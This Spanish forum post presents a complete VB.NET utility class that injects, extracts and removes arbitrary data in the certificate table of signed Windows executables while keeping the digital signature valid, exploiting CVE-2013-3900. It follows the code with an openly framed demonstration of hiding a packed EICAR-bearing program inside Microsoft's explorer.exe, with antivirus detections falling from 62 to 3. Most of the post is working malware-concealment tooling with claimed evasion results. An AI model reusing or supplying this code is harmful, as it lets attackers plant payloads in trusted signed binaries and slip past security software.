Clase PortableExecutableUtil (1ª PARTE):

Nota: Para que me cupiera el código en este post, he tenido que eliminar TODA la documentación XML en torno a las excepciones de cada método, además de los códigos de ejemplo que había embedidos en la documentación (de todas formas en el siguiente post muestro ejemplos de uso). Disculpas. 🙏

''' <summary>
''' Utility class for working with Portable Executable (PE) files.
''' </summary>
Partial Public Class PortableExecutableUtil
 
    Private Sub New()
    End Sub
 
    ''' <summary>
    ''' Appends an arbitrary data blob to the Certificate Table data-directory entry 
    ''' in the Portable Executable (PE) header of the given file.
    ''' </summary>
    ''' 
    ''' <param name="inputFilePath">
    ''' Path to the input —digitally signed— Portable Executable (PE) file (e.g., "C:\Windows\explorer.exe").
    ''' </param>
    ''' 
    ''' <param name="outputFilePath">
    ''' Path to the output file that will be written with the modified Certificate Table.
    ''' <para></para>
    ''' Cannot be the same as <paramref name="inputFilePath"/>.
    ''' </param>
    ''' 
    ''' <param name="blob">
    ''' A <see cref="Byte()"/> array containing the arbitrary data blob to append into the certificate table.
    ''' </param>
    ''' 
    ''' <param name="markerBegin">
    ''' Optional. A byte sequence used to mark the beginning of the data blob within the Certificate Table content.
    ''' <para></para>
    ''' Cannot be null or empty. Default value is "<c>#CERT_BLOB_BEGIN#</c>" in UTF-8 encoding bytes.
    ''' <para></para>
    ''' It is strongly recommended to use a unique and long enough byte pattern 
    ''' to avoid accidental conflicts when identifying/extracting the appended blob.
    ''' </param>
    ''' 
    ''' <param name="markerEnd">
    ''' Optional. A byte sequence used to mark the end of the data blob within the Certificate Table content.
    ''' <para></para>
    ''' Cannot be null or empty. Default value is "<c>#CERT_BLOB_END#</c>" in UTF-8 encoding bytes.
    ''' <para></para>
    ''' It is strongly recommended to use a unique and long enough byte pattern 
    ''' to avoid accidental conflicts when identifying/extracting the appended blob.
    ''' </param>
    ''' 
    ''' <param name="throwIfInvalidCertSize">
    ''' Optional. Determines whether to allow appending data that will cause to exceed the maximum allowed certificate table size (~100 MB).
    ''' <para></para>
    ''' If set to <see langword="True"/>, the method will throw an <see cref="InvalidOperationException"/> 
    ''' if the appended data would cause the certificate table size to exceed the maximum allowed limit, 
    ''' preventing digital signature invalidation.
    ''' <para></para>
    ''' If set to <see langword="False"/>, the certificate table size limit can be exceeded (up to ~2 GB) when appending data, 
    ''' but the digital signature will become invalid, as the operating system will 
    ''' not recognize a certificate table greater than the maximum allowed size. 
    ''' Use it at your own risk.
    ''' <para></para>
    ''' Default value is <see langword="True"/>.
    ''' </param>
    ''' 
    ''' <param name="overwriteOutputFile">
    ''' If <see langword="False"/> and the output file already exists, the method throws an <see cref="IOException"/>.
    ''' <para></para>
    ''' If <see langword="True"/>, any existing output file will be overwritten.
    ''' <para></para>
    ''' Default value is <see langword="False"/>.
    ''' </param>
    <DebuggerStepThrough>
    Public Shared Sub AppendBlobToPECertificateTable(inputFilePath As String,
                                                     outputFilePath As String,
                                                     blob As Byte(),
                                                     Optional markerBegin As Byte() = Nothing,
                                                     Optional markerEnd As Byte() = Nothing,
                                                     Optional throwIfInvalidCertSize As Boolean = True,
                                                     Optional overwriteOutputFile As Boolean = False)
 
        ValidateCommonParameters((NameOf(blob), blob))
 
        Using ms As New MemoryStream(blob)
            AppendBlobToPECertificateTable(inputFilePath, outputFilePath,
                                           ms, markerBegin, markerEnd,
                                           throwIfInvalidCertSize, overwriteOutputFile)
        End Using
    End Sub
 
    ''' <summary>
    ''' Appends an arbitrary data blob to the Certificate Table data-directory entry 
    ''' in the Portable Executable (PE) header of the given file.
    ''' </summary>
    ''' 
    ''' <param name="inputFilePath">
    ''' Path to the input —digitally signed— Portable Executable (PE) file (e.g., "C:\Windows\explorer.exe").
    ''' </param>
    ''' 
    ''' <param name="outputFilePath">
    ''' Path to the output file that will be written with the modified Certificate Table.
    ''' <para></para>
    ''' Cannot be the same as <paramref name="inputFilePath"/>.
    ''' </param>
    ''' 
    ''' <param name="blobStream">
    ''' The <see cref="Stream"/> containing the arbitrary data to append into the certificate table.
    ''' </param>
    ''' 
    ''' <param name="markerBegin">
    ''' Optional. A byte sequence used to mark the beginning of the data blob within the Certificate Table content.
    ''' <para></para>
    ''' Cannot be null or empty. Default value is "<c>#CERT_BLOB_BEGIN#</c>" in UTF-8 encoding bytes.
    ''' <para></para>
    ''' It is strongly recommended to use a unique and long enough byte pattern 
    ''' to avoid accidental conflicts when identifying/extracting the appended blob.
    ''' </param>
    ''' 
    ''' <param name="markerEnd">
    ''' Optional. A byte sequence used to mark the end of the data blob within the Certificate Table content.
    ''' <para></para>
    ''' Cannot be null or empty. Default value is "<c>#CERT_BLOB_END#</c>" in UTF-8 encoding bytes.
    ''' <para></para>
    ''' It is strongly recommended to use a unique and long enough byte pattern 
    ''' to avoid accidental conflicts when identifying/extracting the appended blob.
    ''' </param>
    ''' 
    ''' <param name="throwIfInvalidCertSize">
    ''' Optional. Determines whether to allow appending data that will cause to exceed the maximum allowed certificate table size (~100 MB).
    ''' <para></para>
    ''' If set to <see langword="True"/>, the method will throw an <see cref="InvalidOperationException"/> 
    ''' if the appended data would cause the certificate table size to exceed the maximum allowed limit, 
    ''' preventing digital signature invalidation.
    ''' <para></para>
    ''' If set to <see langword="False"/>, the certificate table size limit can be exceeded (up to ~2 GB) when appending data, 
    ''' but the digital signature will become invalid, as the operating system will 
    ''' not recognize a certificate table greater than the maximum allowed size. 
    ''' Use it at your own risk.
    ''' <para></para>
    ''' Default value is <see langword="True"/>.
    ''' </param>
    ''' 
    ''' <param name="overwriteOutputFile">
    ''' If <see langword="False"/> and the output file already exists, the method throws an <see cref="IOException"/>.
    ''' <para></para>
    ''' If <see langword="True"/>, any existing output file will be overwritten.
    ''' <para></para>
    ''' Default value is <see langword="False"/>.
    ''' </param>
    <DebuggerStepThrough>
    Public Shared Sub AppendBlobToPECertificateTable(inputFilePath As String,
                                                     outputFilePath As String,
                                                     blobStream As Stream,
                                                     Optional markerBegin As Byte() = Nothing,
                                                     Optional markerEnd As Byte() = Nothing,
                                                     Optional throwIfInvalidCertSize As Boolean = True,
                                                     Optional overwriteOutputFile As Boolean = False)
 
        ValidateCommonParameters((NameOf(inputFilePath), inputFilePath),
                                 (NameOf(outputFilePath), outputFilePath),
                                 (NameOf(blobStream), blobStream),
                                 (NameOf(markerBegin), markerBegin),
                                 (NameOf(markerEnd), markerEnd),
                                 (NameOf(overwriteOutputFile), overwriteOutputFile))
 
        ' PE header alignment (it is aligned on 8-byte boundary).
        ' https://learn.microsoft.com/en-us/windows/win32/debug/pe-format#overview
        Const PeHeaderAlignment As Short = 8
 
        ' Maximum Certificate Table size, in bytes, not counting the alignment (PeHeaderAlignment) bytes.
        ' If a Certificate Table exceeds this size (MaxCertTableSize + PeHeaderAlignment),
        ' the operating system rejects to parse the certificate.
        ' Note: This limit is somewhat arbitrary, derived from testing on Windows 10.
        Const MaxCertTableSize As Integer = 102400000
        ' Kibibytes (KiB): 100000
        ' Kilobytes  (KB): 102400
        ' Mebibytes (MiB): 97.65625
        ' Megabytes  (MB): 102.40
 
        Dim metaStructSize As Integer = Marshal.SizeOf(GetType(CertBlobMeta))
 
        Dim dataWithMarkersSize As Long = markerBegin.Length + metaStructSize + blobStream.Length + markerEnd.Length
 
        If throwIfInvalidCertSize AndAlso (dataWithMarkersSize > MaxCertTableSize) Then
            Dim msg As String =
                $"The size of the data to append ({NameOf(markerBegin)} + {NameOf(blobStream)} + {NameOf(markerEnd)} = {dataWithMarkersSize} bytes) " &
                $"exceeds the maximum allowed certificate table size ({MaxCertTableSize} bytes), which would invalidate the digital signature."
 
            Throw New InvalidOperationException(msg)
        End If
 
        Dim inputFileInfo As New FileInfo(inputFilePath)
        Dim inputFileLength As Long = inputFileInfo.Length
        If inputFileLength > Integer.MaxValue Then
            Dim msg As String = $"The input file '{inputFilePath}' is too large ({inputFileLength} bytes). " &
                                $"Maximum supported file size is around {Integer.MaxValue} bytes."
            Throw New IOException(msg)
        End If
 
        Using fsInput As New FileStream(inputFileInfo.FullName, FileMode.Open, FileAccess.Read, FileShare.Read, 8192 * 2, FileOptions.None),
              peReader As New PEReader(fsInput, PEStreamOptions.Default)
 
            Dim headers As PEHeaders = Nothing
            Dim certDirRVA As Integer, certDirSize As Integer
            ValidatePEHeaderAndCertDir(peReader, headers, certDirRVA, certDirSize)
 
            ' Calculate aligned new certificate table size.
            Dim newCertDirSizeCandidate As Long = certDirSize + dataWithMarkersSize
            Dim newCertDirSizeAligned As Long = CLng(Math.Ceiling(newCertDirSizeCandidate / PeHeaderAlignment)) * PeHeaderAlignment
 
            If (inputFileLength - certDirSize) + newCertDirSizeAligned > Integer.MaxValue Then
                Dim msg As String = $"The required total size to create the output file ({newCertDirSizeAligned} bytes) " &
                                     "exceeds the practical limit for the Portable Executable."
                Throw New InvalidOperationException(msg)
            End If
 
            If throwIfInvalidCertSize AndAlso (newCertDirSizeAligned > MaxCertTableSize + PeHeaderAlignment) Then
                Dim msg As String =
                    $"The size for the new certificate table ({newCertDirSizeAligned} bytes) " &
                    $"exceeds the maximum allowed certificate table size ({MaxCertTableSize} + {PeHeaderAlignment} bytes), " &
                    "which would invalidate the digital signature."
                Throw New InvalidOperationException(msg)
            End If
 
            Dim totalBytesLengthToAdd As Long = newCertDirSizeAligned - certDirSize
            Dim paddingLength As Integer = CInt(totalBytesLengthToAdd - dataWithMarkersSize)
 
            ' Create the blob meta structure.
            Dim meta As New CertBlobMeta With {
                .BlobSize = CInt(blobStream.Length),
                .PaddingLength = paddingLength
            }
            Dim metaBytes As Byte() = MarshalExtensions.ConvertToBytes(meta)
 
            ' Write changes to output file.
            Using fsOutput As New FileStream(outputFilePath, If(overwriteOutputFile, FileMode.Create, FileMode.CreateNew),
                                             FileAccess.Write, FileShare.Read, bufferSize:=8192 * 2, FileOptions.None)
 
                Dim writeBufferSize As Integer = 8192 * 2
                Dim writeBuffer(writeBufferSize - 1) As Byte
 
                ' Write head (0 to certDirRVA-1)
                fsInput.Position = 0
                StreamExtensions.CopyExactTo(fsInput, fsOutput, certDirRVA)
 
                ' Write original certificate table.
                fsInput.Position = certDirRVA
                StreamExtensions.CopyExactTo(fsInput, fsOutput, certDirSize)
 
                ' Append markerBegin + metaBytes + blobStream + markerEnd + padding (if required to align).
                fsOutput.Write(markerBegin, 0, markerBegin.Length)
                fsOutput.Write(metaBytes, 0, metaStructSize)
                StreamExtensions.CopyExactTo(blobStream, fsOutput, CInt(blobStream.Length))
                fsOutput.Write(markerEnd, 0, markerEnd.Length)
                If paddingLength > 0 Then
                    fsOutput.Write(New Byte(paddingLength - 1) {}, 0, paddingLength)
                End If
 
                ' Copy any original remainder bytes (tail).
                Dim tailStart As Integer = certDirRVA + certDirSize
                If tailStart < fsInput.Length Then
                    fsInput.Position = tailStart
                    Dim remainingTail As Integer = CInt(fsInput.Length - tailStart)
                    StreamExtensions.CopyExactTo(fsInput, fsOutput, remainingTail)
                End If
 
                UpdateCertificateTableLengths(fsInput, fsOutput, headers, certDirRVA, CUInt(certDirSize + totalBytesLengthToAdd))
            End Using ' fsOutput
        End Using ' fsInput, peReader
    End Sub
 
    ''' <summary>
    ''' Retrieves all the data blobs —that are enclosed between the specified <paramref name="markerBegin"/> and <paramref name="markerEnd"/> markers— 
    ''' from the Certificate Table data-directory entry in the Portable Executable (PE) header of the given file.
    ''' <para></para>
    ''' These blobs must have been previously added with the <see cref="AppendBlobToPECertificateTable"/> function.
    ''' </summary>
    ''' 
    ''' <param name="filePath">
    ''' Path to the input —digitally signed— Portable Executable (PE) file 
    ''' from which to extract data blobs (e.g., "C:\Windows\explorer.exe").
    ''' </param>
    ''' 
    ''' <param name="markerBegin">
    ''' Optional. A byte sequence used to delimit the beginning of a data blob within the Certificate Table content.
    ''' <para></para>
    ''' Cannot be null or empty. Default value is "<c>#CERT_BLOB_BEGIN#</c>" in UTF-8 encoding bytes.
    ''' <para></para>
    ''' This value must be the same used when calling <see cref="AppendBlobToPECertificateTable"/> function.
    ''' </param>
    ''' 
    ''' <param name="markerEnd">
    ''' Optional. A byte sequence used to delimit the end of a data blob within the Certificate Table content.
    ''' <para></para>
    ''' Cannot be null or empty. Default value is "<c>#CERT_BLOB_END#</c>" in UTF-8 encoding bytes.
    ''' <para></para>
    ''' This value must be the same used when calling <see cref="AppendBlobToPECertificateTable"/> function.
    ''' </param>
    ''' 
    ''' <returns>
    ''' An <see cref="ImmutableArray"/> of <see cref="ArraySegment(Of Byte)"/> representing each blob found.
    ''' </returns>
    <DebuggerStepThrough>
    Public Shared Function GetBlobsFromPECertificateTable(filePath As String,
                                                          Optional markerBegin As Byte() = Nothing,
                                                          Optional markerEnd As Byte() = Nothing) As ImmutableArray(Of ArraySegment(Of Byte))
 
        ValidateCommonParameters((NameOf(filePath), filePath),
                                 (NameOf(markerBegin), markerBegin),
                                 (NameOf(markerEnd), markerEnd))
 
        Dim metaStructSize As Integer = Marshal.SizeOf(GetType(CertBlobMeta))
 
        Dim blobs As New Collection(Of ArraySegment(Of Byte))
 
        Using fs As New FileStream(filePath, FileMode.Open, FileAccess.Read, FileShare.Read,
                                   bufferSize:=8192 * 2, FileOptions.SequentialScan),
              peReader As New PEReader(fs, PEStreamOptions.LeaveOpen)
 
            Dim headers As PEHeaders = Nothing
            Dim certDirRVA As Integer, certDirSize As Integer
            ValidatePEHeaderAndCertDir(peReader, headers, certDirRVA, certDirSize)
 
            ' Read the entire certificate table into memory.
            ' Note: This assumes the system has enough RAM for large tables up to ~2GB.
            fs.Position = certDirRVA
            Dim certBytes As Byte() = StreamExtensions.ReadExact(fs, certDirSize)
 
            Dim searchIndex As Integer
 
            ' Main loop to locate all blob segments enclosed by the markers.
            While searchIndex < certBytes.Length
                ' Locate the start marker.
                Dim idx As Integer = Array.IndexOf(certBytes, markerBegin(0), searchIndex)
                ' Ensure there's room for full marker and meta.
                If (idx = -1) OrElse (idx + markerBegin.Length + metaStructSize) >= certBytes.Length Then
                    Exit While
                End If
 
                ' Verify full start marker match.
                Dim matchStart As Boolean = True
                For j As Integer = 1 To markerBegin.Length - 1
                    If certBytes(idx + j) <> markerBegin(j) Then
                        matchStart = False
                        Exit For
                    End If
                Next
                If Not matchStart Then
                    searchIndex = idx + 1
                    Continue While
                End If
 
                ' Read CertBlobMeta structure bytes.
                Dim metaStart As Integer = idx + markerBegin.Length
                Dim metaBytes(metaStructSize - 1) As Byte
                Array.Copy(certBytes, metaStart, metaBytes, 0, metaStructSize)
                Dim meta As CertBlobMeta = MarshalExtensions.ConvertToStructure(Of CertBlobMeta)(metaBytes)
                Dim blobStart As Integer = metaStart + metaStructSize
                Dim blobSize As Integer = meta.BlobSize
 
                ' Add the actual blob (skip padding).
                blobs.Add(New ArraySegment(Of Byte)(certBytes, blobStart, blobSize))
 
                ' Move search index past the end marker.
                searchIndex = blobStart + blobSize + markerEnd.Length + meta.PaddingLength
            End While
        End Using
 
        Return blobs.ToImmutableArray()
    End Function
 
    ''' <summary>
    ''' Removes a specific blob —that is enclosed between the specified <paramref name="markerBegin"/> and <paramref name="markerEnd"/> markers— 
    ''' from the Certificate Table data-directory entry in the Portable Executable (PE) header of the given file.
    ''' <para></para>
    ''' The blob must have been previously added with the <see cref="AppendBlobToPECertificateTable"/> function.
    ''' </summary>
    ''' 
    ''' <param name="inputFilePath">
    ''' Path to the input —digitally signed— Portable Executable (PE) file (e.g., "C:\Windows\explorer.exe") 
    ''' from which the blob will be removed.
    ''' </param>
    ''' 
    ''' <param name="outputFilePath">
    ''' Path to the output file that will be written with the modified Certificate Table.
    ''' <para></para>
    ''' Cannot be the same as <paramref name="inputFilePath"/>.
    ''' </param>
    ''' 
    ''' <param name="blobIndex">
    ''' Zero-based index of the blob to remove from the Certificate Table.
    ''' </param>
    ''' 
    ''' <param name="markerBegin">
    ''' Optional. A byte sequence used to delimit the beginning of a data blob within the Certificate Table content.
    ''' <para></para>
    ''' Cannot be null or empty. Default value is "<c>#CERT_BLOB_BEGIN#</c>" in UTF-8 encoding bytes.
    ''' <para></para>
    ''' This value must be the same used when calling <see cref="AppendBlobToPECertificateTable"/> function.
    ''' </param>
    ''' 
    ''' <param name="markerEnd">
    ''' Optional. A byte sequence used to delimit the end of a data blob within the Certificate Table content.
    ''' <para></para>
    ''' Cannot be null or empty. Default value is "<c>#CERT_BLOB_END#</c>" in UTF-8 encoding bytes.
    ''' <para></para>
    ''' This value must be the same used when calling <see cref="AppendBlobToPECertificateTable"/> function.
    ''' </param>
    ''' 
    ''' <param name="overwriteOutputFile">
    ''' If <see langword="False"/> and the output file already exists, the method throws an <see cref="IOException"/>.
    ''' <para></para>
    ''' If <see langword="True"/>, any existing output file will be overwritten.
    ''' <para></para>
    ''' Default value is <see langword="False"/>.
    ''' </param>
    <DebuggerStepThrough>
    Public Shared Sub RemoveBlobFromPECertificateTable(inputFilePath As String,
                                                       outputFilePath As String,
                                                       blobIndex As Integer,
                                                       Optional markerBegin As Byte() = Nothing,
                                                       Optional markerEnd As Byte() = Nothing,
                                                       Optional overwriteOutputFile As Boolean = False)
 
        ' The rest of parameters are validated in the following call to GetBlobsFromPECertificateTable function.
        ValidateCommonParameters((NameOf(outputFilePath), outputFilePath),
                                 (NameOf(blobIndex), blobIndex),
                                 (NameOf(overwriteOutputFile), overwriteOutputFile))
 
        Dim blobs As ImmutableArray(Of ArraySegment(Of Byte)) =
            GetBlobsFromPECertificateTable(inputFilePath, markerBegin, markerEnd)
 
        If blobIndex >= blobs.Length Then
            Dim msg As String = "Blob index was out of range. Must be less than the length of existing blobs."
            Throw New ArgumentOutOfRangeException(NameOf(blobIndex), msg)
        End If
 
        Using fsInput As New FileStream(inputFilePath, FileMode.Open, FileAccess.Read, FileShare.Read,
                                        bufferSize:=8192 * 2, FileOptions.SequentialScan),
              peReader As New PEReader(fsInput, PEStreamOptions.LeaveOpen)
 
            Dim headers As PEHeaders = Nothing
            Dim certDirRVA As Integer, certDirSize As Integer
            ValidatePEHeaderAndCertDir(peReader, headers, certDirRVA, certDirSize)
 
            ' Read CertBlobMeta structure
            Dim metaStructSize As Integer = Marshal.SizeOf(GetType(CertBlobMeta))
            Dim metaStart As Integer = blobs(blobIndex).Offset - metaStructSize - markerBegin.Length
            Dim metaBytes(metaStructSize - 1) As Byte
            fsInput.Position = certDirRVA + metaStart + markerBegin.Length
            fsInput.Read(metaBytes, 0, metaBytes.Length)
            Dim meta As CertBlobMeta = MarshalExtensions.ConvertToStructure(Of CertBlobMeta)(metaBytes)
 
            ' Compute region to remove: markerBegin + meta + blob + markerEnd + padding (if any)
            Dim removeStart As Integer = metaStart
            Dim removeLen As Integer = markerBegin.Length + metaStructSize + meta.BlobSize + markerEnd.Length + meta.PaddingLength
            ' Safety checks for corrupted meta or inconsistent Certificate Table.
            If removeStart < 0 Then
                Dim msg As String = "Computed removal region start is before the beginning of the Certificate Table."
                Throw New InvalidOperationException(msg)
            End If
            If (removeStart + removeLen) > certDirSize Then
                Dim msg As String = "Computed removal region extends beyond the Certificate Table."
                Throw New InvalidOperationException(msg)
            End If
 
            ' Write changes to output file.
            Using fsOutput As New FileStream(outputFilePath, If(overwriteOutputFile, FileMode.Create, FileMode.CreateNew),
                                             FileAccess.Write, FileShare.Read, bufferSize:=8192 * 2, FileOptions.None)
 
                ' Write head (0 to certDirRVA-1)
                fsInput.Position = 0
                StreamExtensions.CopyExactTo(fsInput, fsOutput, certDirRVA)
 
                ' Write new certificate table.
                fsInput.Position = certDirRVA
                StreamExtensions.CopyExactTo(fsInput, fsOutput, removeStart)
                fsInput.Position = certDirRVA + removeStart + removeLen
                Dim remain As Integer = certDirSize - (removeStart + removeLen)
                If remain > 0 Then
                    StreamExtensions.CopyExactTo(fsInput, fsOutput, remain)
                End If
 
                ' Copy any original remainder bytes (tail).
                Dim tailStart As Long = certDirRVA + certDirSize
                If tailStart < fsInput.Length Then
                    fsInput.Position = tailStart
                    StreamExtensions.CopyExactTo(fsInput, fsOutput, CInt(fsInput.Length - tailStart))
                End If
 
                UpdateCertificateTableLengths(fsInput, fsOutput, headers, certDirRVA, CUInt(certDirSize - removeLen))
            End Using
        End Using
    End Sub
 
    ''' <summary>
    ''' Removes all blobs —that were enclosed between the specified <paramref name="markerBegin"/> and <paramref name="markerEnd"/> markers— 
    ''' from the Certificate Table data-directory entry in the Portable Executable (PE) header of the given file.
    ''' <para></para>
    ''' The blob(s) must have been previously added with the <see cref="AppendBlobToPECertificateTable"/> function.
    ''' </summary>
    ''' 
    ''' <param name="inputFilePath">
    ''' Path to the input —digitally signed— Portable Executable (PE) file (e.g., "C:\Windows\explorer.exe") 
    ''' from which the blobs will be removed.
    ''' </param>
    ''' 
    ''' <param name="outputFilePath">
    ''' Path to the output file that will be written with the modified Certificate Table.
    ''' <para></para>
    ''' Cannot be the same as <paramref name="inputFilePath"/>.
    ''' </param>
    ''' 
    ''' <param name="markerBegin">
    ''' Optional. A byte sequence used to delimit the beginning of a data blob within the Certificate Table content.
    ''' <para></para>
    ''' Cannot be null or empty. Default value is "<c>#CERT_BLOB_BEGIN#</c>" in UTF-8 encoding bytes.
    ''' <para></para>
    ''' This value must be the same used when calling <see cref="AppendBlobToPECertificateTable"/> function.
    ''' </param>
    ''' 
    ''' <param name="markerEnd">
    ''' Optional. A byte sequence used to delimit the end of a data blob within the Certificate Table content.
    ''' <para></para>
    ''' Cannot be null or empty. Default value is "<c>#CERT_BLOB_END#</c>" in UTF-8 encoding bytes.
    ''' <para></para>
    ''' This value must be the same used when calling <see cref="AppendBlobToPECertificateTable"/> function.
    ''' </param>
    ''' 
    ''' <param name="overwriteOutputFile">
    ''' If <see langword="False"/> and the output file already exists, the method throws an <see cref="IOException"/>.
    ''' <para></para>
    ''' If <see langword="True"/>, any existing output file will be overwritten.
    ''' <para></para>
    ''' Default value is <see langword="False"/>.
    ''' </param>
    <DebuggerStepThrough>
    Public Shared Sub RemoveBlobsFromPECertificateTable(inputFilePath As String,
                                                        outputFilePath As String,
                                                        Optional markerBegin As Byte() = Nothing,
                                                        Optional markerEnd As Byte() = Nothing,
                                                        Optional overwriteOutputFile As Boolean = False)
 
        ValidateCommonParameters((NameOf(inputFilePath), inputFilePath),
                                 (NameOf(outputFilePath), outputFilePath),
                                 (NameOf(markerBegin), markerBegin),
                                 (NameOf(markerEnd), markerEnd),
                                 (NameOf(overwriteOutputFile), overwriteOutputFile))
 
        Dim metaStructSize As Integer = Marshal.SizeOf(GetType(CertBlobMeta))
 
        Dim removalRanges As New List(Of Tuple(Of Integer, Integer))()
 
        Using fsInput As New FileStream(inputFilePath, FileMode.Open, FileAccess.Read, FileShare.Read,
                                        bufferSize:=8192 * 2, FileOptions.SequentialScan),
              peReader As New PEReader(fsInput, PEStreamOptions.LeaveOpen)
 
            Dim headers As PEHeaders = Nothing
            Dim certDirRVA As Integer, certDirSize As Integer
            ValidatePEHeaderAndCertDir(peReader, headers, certDirRVA, certDirSize)
 
            fsInput.Position = certDirRVA
            Dim certBytes As Byte() = StreamExtensions.ReadExact(fsInput, certDirSize)
 
            Dim searchIndex As Integer
            While searchIndex < certBytes.Length
                Dim idx As Integer = Array.IndexOf(certBytes, markerBegin(0), searchIndex)
                ' Ensure there's room for full marker and meta.
                If (idx = -1) OrElse (idx + markerBegin.Length + metaStructSize) >= certBytes.Length Then
                    Exit While
                End If
 
                ' Verify full start marker match.
                Dim matchStart As Boolean = True
                For j As Integer = 1 To markerBegin.Length - 1
                    If certBytes(idx + j) <> markerBegin(j) Then
                        matchStart = False
                        Exit For
                    End If
                Next
                If Not matchStart Then
                    searchIndex = idx + 1
                    Continue While
                End If
 
                ' Read CertBlobMeta structure bytes.
                Dim metaStart As Integer = idx + markerBegin.Length
                Dim metaBytes(metaStructSize - 1) As Byte
                Array.Copy(certBytes, metaStart, metaBytes, 0, metaStructSize)
                Dim meta As CertBlobMeta = MarshalExtensions.ConvertToStructure(Of CertBlobMeta)(metaBytes)
 
                ' Compute region to remove: markerBegin + meta + blob + markerEnd + padding (if any)
                Dim removeStart As Integer = idx
                Dim removeLen As Integer = markerBegin.Length + metaStructSize + meta.BlobSize + markerEnd.Length + meta.PaddingLength
                ' Safety checks for corrupted meta or inconsistent Certificate Table.
                If removeStart < 0 Then
                    Dim msg As String = "Computed removal region start is before the beginning of the Certificate Table."
                    Throw New InvalidOperationException(msg)
                End If
                If (removeStart + removeLen) > certDirSize Then
                    Dim msg As String = "Computed removal region extends beyond the Certificate Table."
                    Throw New InvalidOperationException(msg)
                End If
 
                removalRanges.Add(Tuple.Create(removeStart, removeLen))
 
                ' Advance searchIndex past the removed region.
                searchIndex = removeStart + removeLen
            End While
 
            ' If nothing to remove -> copy input to output unchanged (but still produce output file).
            If removalRanges.Count = 0 Then
                Using fsOut As New FileStream(outputFilePath, If(overwriteOutputFile, FileMode.Create, FileMode.CreateNew),
                                              FileAccess.Write, FileShare.Read, bufferSize:=8192 * 2, FileOptions.None)
                    fsInput.Position = 0
                    fsInput.CopyTo(fsOut)
                    ' StreamExtensions.CopyExactTo(fsInput, fsOut, CInt(fsInput.Length))
                End Using
                Exit Sub
            End If
 
            ' Total removed size.
            Dim totalRemoved As Integer = removalRanges.Sum(Function(t) t.Item2)
 
            ' Write changes to output file.
            Using fsOutput As New FileStream(outputFilePath, If(overwriteOutputFile, FileMode.Create, FileMode.CreateNew),
                                             FileAccess.Write, FileShare.Read, bufferSize:=8192 * 2, FileOptions.None)
 
                ' Write head (0 to certDirRVA-1)
                fsInput.Position = 0
                StreamExtensions.CopyExactTo(fsInput, fsOutput, certDirRVA)
 
                ' Write filtered certificate table segments.
                Dim prevEnd As Integer = 0
                For Each r As Tuple(Of Integer, Integer) In removalRanges
                    Dim segStart As Integer = r.Item1
                    Dim segLen As Integer = segStart - prevEnd
                    If segLen > 0 Then
                        ' Copy segment (prevEnd to segStart-1)
                        fsInput.Position = certDirRVA + prevEnd
                        StreamExtensions.CopyExactTo(fsInput, fsOutput, segLen)
                    End If
                    ' Skip the removed region by moving prevEnd.
                    prevEnd = segStart + r.Item2
                Next
                ' Write remaining certificate bytes after last removal.
                If prevEnd < certDirSize Then
                    Dim lastLen As Integer = certDirSize - prevEnd
                    fsInput.Position = certDirRVA + prevEnd
                    StreamExtensions.CopyExactTo(fsInput, fsOutput, lastLen)
                End If
 
                ' Copy any original remainder bytes (tail).
                Dim tailStart As Long = certDirRVA + certDirSize
                If tailStart < fsInput.Length Then
                    fsInput.Position = tailStart
                    StreamExtensions.CopyExactTo(fsInput, fsOutput, CInt(fsInput.Length - tailStart))
                End If
 
                UpdateCertificateTableLengths(fsInput, fsOutput, headers, certDirRVA, CUInt(certDirSize - totalRemoved))
            End Using
        End Using
    End Sub
 
End Class

El código continúa aquí abajo 👇🙂

Métodos universales para demostrar la vulnerabilidad de validación de firmas en WinVerifyTrust.

— Cómo ocultar y ejecutar malware desde un ejecutable firmado digitalmente —

Recientemente, descubrí el siguiente artículo sobre la vulnerabilidad CVE-2013-3900, conocida como la "Vulnerabilidad de validación de firmas en WinVerifyTrust":

  ◉ DeepInstinct - black hat USA 2016: Certificate Bypass: Hiding and Executing Malware from a Digitally Signed Executable

Esta vulnerabilidad afecta a la función WinVerifyTrust de la API de Windows responsable de verificar la autenticidad de las firmas digitales en archivos (exe, dll, etc), y consiste en la capacidad de un atacante para poder modificar un archivo ejecutable firmado, adjuntando código malicioso en la tabla de certificado ¡sin invalidar la firma digital del archivo!, lo que proporciona una técnica de ocultación muy discreta.

La vulnerabilidad se dio a conocer en el año 2013, pero sigue vigente en 2025 (también en Windows 11. De hecho, con más agravio que en versiones anteriores de Windows), y ha sido la forma de ataque a empresas en varias ocasiones (👉 10-Year-Old Windows Vulnerability Exploited in 3CX Attack)

---

Prueba de indetectabilidad

Vaya por delante que todo esto lo hago con fines educativos. No soy ningún experto en malware, y no experimento con ello. Pero intentaré aportar lo que pueda:

Para ilustrar brevemente la efectividad de esta vulnerabilidad en 2025, podemos usar como ejemplo el EICAR, un archivo de prueba diseñado para evaluar y verificar el funcionamiento del software antivirus. Se trata de un virus simulado que provoca la reacción del motor antivirus, permitiendo demostrar su capacidad para detectar y neutralizar posibles amenazas.

Se puede descargar aquí: https://www.eicar.org/download-anti-malware-testfile/

Para esta prueba utilizaré el archivo eicar_com.zip (el zip comprimido tal cual).

Bien. 👇 Este es el diagnóstico de VirusTotal del archivo eicar_com.zip:

  ◉ 2546dcffc5ad854d4ddc64fbf056871cd5a00f2471cb7a5bfd4ac23b6e9eedad — 62 detecciones de 69 AVs.


👇 Este es el diagnóstico de VirusTotal de una simple aplicación de consola desarrollada en .NET 4.8, que contiene la representación literal en bytes del archivo eicar_com.zip:

Friend Module Module1
 
    Private ReadOnly rawBytes As Byte() = {
        &H50, ... el resto de bytes ...
    }
 
    Sub Main()
    End Sub
End Module

  ◉ 7a11573dbb67f839390c29a3615d4627d419d571ee29f6170cab22d87550f5b1 — 21 detecciones de 72 AVs.


👇 Este es el diagnóstico de VirusTotal de la misma aplicación de consola, pero cifrada con el packer Enigma:

  ◉ eab90e4659a3414e0b09c9036f07318d0356be6382a5198a16ef73621473c0f2 — 23 detecciones de 72 AVs.


Y, por último, 👇 este es el diagnóstico de VirusTotal de un archivo ejecutable firmado, en este caso el propio y legítimo explorer.exe con certificado digital de Microsoft, al que le he adjuntado la aplicación de consola anterior — cifrada con el packer Enigma — al final de la tabla de certificado:

  ◉ 310025562eb9c497615ffcb6040d9fa5ba6de82b272523656d3a585765d85580 — 3 detecciones de 72 AVs.


Y lo mejor de todo, aparte de la reducción en detecciones, es que la firma no se ha invalidado, por lo que a ojos del sistema operativo sigue siendo un archivo legítimo y totalmente confiable 👍:



